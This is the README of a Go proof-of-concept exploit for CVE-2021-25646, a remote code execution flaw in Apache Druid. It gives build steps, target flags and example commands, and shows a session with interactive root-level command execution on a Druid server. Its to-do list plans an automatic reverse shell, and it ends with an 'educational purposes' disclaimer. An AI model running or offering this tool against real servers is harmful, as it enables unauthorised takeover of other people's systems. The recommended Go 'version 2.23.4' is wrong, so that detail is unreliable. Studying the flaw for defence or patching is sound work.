CVE-2021-25646 Proof-of-Concept (Go Version)

Overview

This repository contains a proof-of-concept (PoC) exploit for CVE-2021-25646, a critical remote code execution vulnerability in Apache Druid.
The exploit is written in Go and allows for interactive command injection via the terminal.

Features

• Interactive Command Injection:
  Execute arbitrary commands on a vulnerable Apache Druid server through an interactive shell interface.

Build

You need Go installed (version 2.23.4 recommended).

go build .

This will produce a binary in the current directory.

Usage

You can run the exploit either by building the binary or directly with go run.

Command-Line Options

• -i : Target Druid server IP address (required)
• -p : Target Druid server port (required)
• -proxy : Specifying the proxy url (optional)

Examples

Run the built binary:

./cve -i 127.0.0.1 -p 8888

Or run directly with Go:

go run main.go -i 127.0.0.1 -p 8888

Example Session

$ ./cve -i 127.0.0.1 -p 8888
~ $ whoami
root
~ $ uname -a
Linux druid-server 4.15.0-123-generic #126-Ubuntu SMP ...

Technical Details

• Vulnerability:
  The exploit abuses improper input validation in the Druid indexer component, specifically in the task API, allowing for command injection via crafted JSON payloads.

• References:

  • CVE-2021-25646 - NVD
  • Apache Druid Security Advisory

ToDo

• Add support for HTTPS
• Automate switch to reverse shell
• More native command prompt feeling

Disclaimer

This software is provided for educational purposes only.
The author is not responsible for any misuse or damage caused by this code.
Always obtain proper authorization before testing any system.